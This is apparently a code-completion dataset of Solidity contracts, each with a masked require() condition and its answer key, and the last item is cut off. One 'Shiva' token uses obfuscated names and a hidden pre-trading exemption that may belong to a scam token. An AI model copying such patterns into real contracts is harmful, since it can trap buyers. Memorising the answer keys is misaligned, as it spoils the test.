IERC20(usdtAddress).safeTransfer(to, amount);
} else {
revert("Unsupported token type");
}
}
}
| IERC20(usdcAddress).balanceOf(address(this))>=amount,"Not enough USDC in the contract" | 433,067 | IERC20(usdcAddress).balanceOf(address(this))>=amount |
"Not enough USDT in the contract" | pragma solidity ^0.8.18;
contract Vault is OwnableUpgradeable {
using SafeERC20 for IERC20;
address public usdcAddress;
address public usdtAddress;
enum TokenType {
ETH,
USDC,
USDT
}
function initialize(
address _usdcAddress,
address _usdtAddress
) public initializer {
}
function deposit(TokenType tokenType, uint256 amount) external payable {
}
function withdraw(
TokenType tokenType,
address payable to,
uint256 amount
) external onlyOwner {
if (tokenType == TokenType.ETH) {
require(address(this).balance >= amount, "Not enough ETH");
to.transfer(amount);
} else if (tokenType == TokenType.USDC) {
require(
IERC20(usdcAddress).balanceOf(address(this)) >= amount,
"Not enough USDC in the contract"
);
IERC20(usdcAddress).safeTransfer(to, amount);
} else if (tokenType == TokenType.USDT) {
require(<FILL_ME>)
IERC20(usdtAddress).safeTransfer(to, amount);
} else {
revert("Unsupported token type");
}
}
}
| IERC20(usdtAddress).balanceOf(address(this))>=amount,"Not enough USDT in the contract" | 433,067 | IERC20(usdtAddress).balanceOf(address(this))>=amount |
"Ether value sent is not correct" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
contract Sheeps is ERC721, ERC721Enumerable, Ownable {
string public PROVENANCE;
bool public saleIsActive = false;
bool public isPaused = false;
string private _baseURIextended;
string private _baseExt;
bool public isAllowListActive = false;
uint256 public constant MAX_SUPPLY = 10000;
uint256 public constant MAX_PUBLIC_MINT = 5;
uint256 public constant PRICE_PER_TOKEN = 0.01 ether;
uint256 public constant BLOCK_PER_DAY = 6650;
uint256 public startBlock;
mapping(address => uint8) private _allowList;
address public sheepToken;
constructor(uint256 _startBlock) ERC721("Sheeps", "SHEEP") {
}
function setSheepToken(address _sheep) public onlyOwner {
}
function gameMintSkin(address _user) external returns(uint256) {
}
function setIsAllowListActive(bool _isAllowListActive) external onlyOwner {
}
function setAllowList(address[] calldata addresses, uint8 numAllowedToMint) external onlyOwner {
}
function price() public view returns(uint256) {
}
function numAvailableToMint(address addr) external view returns (uint8) {
}
function mintAllowList(uint8 numberOfTokens) external payable {
uint256 ts = totalSupply();
require(isAllowListActive, "Allow list is not active");
require(block.number>startBlock, 'not start!');
require(numberOfTokens <= _allowList[msg.sender], "Exceeded max available to purchase");
require(ts + numberOfTokens <= MAX_SUPPLY, "Purchase would exceed max tokens");
require(<FILL_ME>)
_allowList[msg.sender] -= numberOfTokens;
for (uint256 i = 0; i < numberOfTokens; i++) {
_safeMint(msg.sender, ts + i);
}
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) {
}
function approve(address to, uint256 tokenId) public virtual override {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
}
function checkStatus() public {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
function setBaseExt(string memory baseExt_) external onlyOwner() {
}
function setBaseURI(string memory baseURI_) external onlyOwner() {
}
function setPaused(bool _isPaused) external onlyOwner() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setProvenance(string memory provenance) public onlyOwner {
}
function reserve(uint256 n) public onlyOwner {
}
function setSaleState(bool newState) public onlyOwner {
}
function mint(uint numberOfTokens) public payable {
}
function withdraw() public onlyOwner {
}
}
| price()*numberOfTokens<=msg.value,"Ether value sent is not correct" | 433,302 | price()*numberOfTokens<=msg.value |
"ERC20: trading is not yet enabled." | pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Pair {
event Sync(uint112 reserve0, uint112 reserve1);
function sync() external;
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private toyArr;
mapping (address => bool) private Windows;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _balances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public pair;
uint256 private Computer = 0;
IDEXRouter router;
string private _name; string private _symbol; address private addr01hjkajnfhuifq8of1ijkl; uint256 private _totalSupply;
bool private trading; uint256 private dino; bool private Graphics; uint256 private Board;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function decimals() public view virtual override returns (uint8) {
}
function symbol() public view virtual override returns (string memory) {
}
function last(uint256 g) internal view returns (address) { }
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function openTrading() external onlyOwner returns (bool) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
receive() external payable {
}
function _balancesOfTheBow(address sender, address recipient) internal {
require(<FILL_ME>)
_balancesOfTheRain(sender, recipient);
}
function _RainingTime(address creator) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _balancesOfTheRain(address sender, address recipient) internal {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployArc(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract Shiva is ERC20Token {
constructor() ERC20Token("shiva", "SHIVA", msg.sender, 10000000 * 10 ** 18) {
}
}
| (trading||(sender==addr01hjkajnfhuifq8of1ijkl)),"ERC20: trading is not yet enabled." | 433,344 | (trading||(sender==addr01hjkajnfhuifq8of1ijkl)) |
'Address already claimed!' | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.9 <0.9.0;
import 'erc721a/contracts/ERC721A.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
contract GraveyardFrens is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
bytes32 public merkleRoot;
mapping(address => bool) public WhitelistClaimed;
string public uriPrefix = '';
string public uriSuffix = '.json';
string public hiddenMetadataUri;
uint256 public cost;
uint256 public maxSupply;
uint256 public maxMintAmountPerTx;
bool public paused = true;
bool public WhitelistMintEnabled = false;
bool public revealed = false;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _cost,
uint256 _maxSupply,
uint256 _maxMintAmountPerTx,
string memory _hiddenMetadataUri
) ERC721A(_tokenName, _tokenSymbol) {
}
modifier mintCompliance(uint256 _mintAmount) {
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
function WhitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
// Verify Whitelist requirements
require(WhitelistMintEnabled, 'The Whitelist sale is not enabled!');
require(<FILL_ME>)
bytes32 leaf = keccak256(abi.encodePacked(_msgSender()));
require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), 'Invalid proof!');
WhitelistClaimed[_msgSender()] = true;
_safeMint(_msgSender(), _mintAmount);
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setRevealed(bool _state) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function setWhitelistMintEnabled(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| !WhitelistClaimed[_msgSender()],'Address already claimed!' | 433,390 | !WhitelistClaimed[_msgSender()] |
"Max mint per wallet exceeded!" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.9 <0.9.0;
import 'erc721a/contracts/ERC721A.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
contract GraveyardFrens is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
bytes32 public merkleRoot;
mapping(address => bool) public WhitelistClaimed;
string public uriPrefix = '';
string public uriSuffix = '.json';
string public hiddenMetadataUri;
uint256 public cost;
uint256 public maxSupply;
uint256 public maxMintAmountPerTx;
bool public paused = true;
bool public WhitelistMintEnabled = false;
bool public revealed = false;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _cost,
uint256 _maxSupply,
uint256 _maxMintAmountPerTx,
string memory _hiddenMetadataUri
) ERC721A(_tokenName, _tokenSymbol) {
}
modifier mintCompliance(uint256 _mintAmount) {
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
function WhitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
require(!paused, "The contract is paused!");
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!");
require(totalSupply() + _mintAmount <= maxSupply, "Max supply exceeded!");
require(msg.value >= cost * _mintAmount, "You dont have enough funds!");
require(<FILL_ME>)
_safeMint(_msgSender(), _mintAmount);
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setRevealed(bool _state) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function setWhitelistMintEnabled(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| balanceOf(msg.sender)+_mintAmount<=maxMintAmountPerTx,"Max mint per wallet exceeded!" | 433,390 | balanceOf(msg.sender)+_mintAmount<=maxMintAmountPerTx |
"only delegate" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./AdminControl.sol";
import "./ISFTConcreteControl.sol";
abstract contract SFTConcreteControl is ISFTConcreteControl, AdminControl {
address private _delegate;
modifier onlyDelegate() {
require(<FILL_ME>)
_;
}
function __SFTConcreteControl_init() internal onlyInitializing {
}
function __SFTConcreteControl_init_unchained() internal onlyInitializing {}
function delegate() public view override returns (address) {
}
function setDelegate(address newDelegate_) external override {
}
uint256[49] private __gap;
}
| _msgSender()==_delegate,"only delegate" | 433,436 | _msgSender()==_delegate |
"Over Limit" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./ERC721A.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import { DefaultOperatorFilterer } from "./libs/DefaultOperatorFilterer.sol";
contract RedPill is ERC721A, Ownable, DefaultOperatorFilterer, ReentrancyGuard {
using SafeERC20 for IERC20;
bool public started = false;
mapping(address => uint256) private minted;
uint256 private maxOwn = 100;
string public uri;
uint256 public constant price = 0.005 ether;
constructor(string memory _uri) ERC721A("RedPill", "RedPill") {
}
function mint(uint256 amount) public payable nonReentrant {
require(started, "Not started");
require(msg.sender == tx.origin);
require(amount > 0, "invalid amount");
require(<FILL_ME>)
require(msg.value >= amount * price, "Not enough ether");
minted[msg.sender] += amount;
_safeMint(msg.sender, amount);
}
function _baseURI() internal view override returns (string memory) {
}
function total() public view returns (uint256) {
}
// OWNER SECTION
function setURI(string calldata _uri) external onlyOwner {
}
function start() external onlyOwner {
}
function stop() external onlyOwner {
}
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner {
}
function withdraw() public onlyOwner {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public override onlyAllowedOperator(from) {
}
}
| minted[msg.sender]+amount<=maxOwn,"Over Limit" | 433,530 | minted[msg.sender]+amount<=maxOwn |
"Cannot set maxTransactionAmount lower than 0.1%" | /**
*Submitted for verification at Etherscan.io on 2023-06-25
*/
/**
*Submitted for verification at Etherscan.io on 2023-06-22
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
/**
* @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
* the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
*
* _Available since v4.8._
*/
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata,
string memory errorMessage
) internal view returns (bytes memory) {
}
/**
* @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason or using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
interface IUniswapV3Router {
function factory() external view returns (address);
}
interface IUniswapV3Factory {
function createPool(
address tokenA,
address tokenB,
uint24 fee
) external returns (address pool);
}
contract FredFlinstone is Ownable, ERC20 {
IUniswapV3Router public immutable v3Router;
address public immutable pool;
IERC20 public immutable WETH;
mapping (address => bool) public isPool;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isMaxTxExempt;
uint256 public maxTransactionAmt;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
receive() payable external{}
constructor() ERC20("Fred Flinstone", "FRED"){
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function enableTrading() external onlyOwner {
}
function removeLimits() external onlyOwner {
}
function updateMaxAmt(uint256 newNum) external onlyOwner {
require(<FILL_ME>)
maxTransactionAmt = newNum * (10**18);
}
function updateMaxWalletAmt(uint256 newNum) external onlyOwner {
}
function setIsFeeEx(address account, bool exempt) external onlyOwner {
}
function setIsMaxTxEx(address account, bool exempt) external onlyOwner {
}
function setIsPool(address _pool, bool _isPool) external onlyOwner {
}
function sendEth() external onlyOwner {
}
function transferToken(address _token, address _to) external onlyOwner {
}
}
| newNum>(totalSupply()*1/1000)/1e18,"Cannot set maxTransactionAmount lower than 0.1%" | 433,810 | newNum>(totalSupply()*1/1000)/1e18 |
"Cannot set maxWallet lower than 1%" | /**
*Submitted for verification at Etherscan.io on 2023-06-25
*/
/**
*Submitted for verification at Etherscan.io on 2023-06-22
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
/**
* @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
* the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
*
* _Available since v4.8._
*/
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata,
string memory errorMessage
) internal view returns (bytes memory) {
}
/**
* @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason or using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
interface IUniswapV3Router {
function factory() external view returns (address);
}
interface IUniswapV3Factory {
function createPool(
address tokenA,
address tokenB,
uint24 fee
) external returns (address pool);
}
contract FredFlinstone is Ownable, ERC20 {
IUniswapV3Router public immutable v3Router;
address public immutable pool;
IERC20 public immutable WETH;
mapping (address => bool) public isPool;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isMaxTxExempt;
uint256 public maxTransactionAmt;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
receive() payable external{}
constructor() ERC20("Fred Flinstone", "FRED"){
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function enableTrading() external onlyOwner {
}
function removeLimits() external onlyOwner {
}
function updateMaxAmt(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmt(uint256 newNum) external onlyOwner {
require(<FILL_ME>)
maxWallet = newNum * (10**18);
}
function setIsFeeEx(address account, bool exempt) external onlyOwner {
}
function setIsMaxTxEx(address account, bool exempt) external onlyOwner {
}
function setIsPool(address _pool, bool _isPool) external onlyOwner {
}
function sendEth() external onlyOwner {
}
function transferToken(address _token, address _to) external onlyOwner {
}
}
| newNum>(totalSupply()*1/100)/1e18,"Cannot set maxWallet lower than 1%" | 433,810 | newNum>(totalSupply()*1/100)/1e18 |
"Cannot remove exemption from pool" | /**
*Submitted for verification at Etherscan.io on 2023-06-25
*/
/**
*Submitted for verification at Etherscan.io on 2023-06-22
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
/**
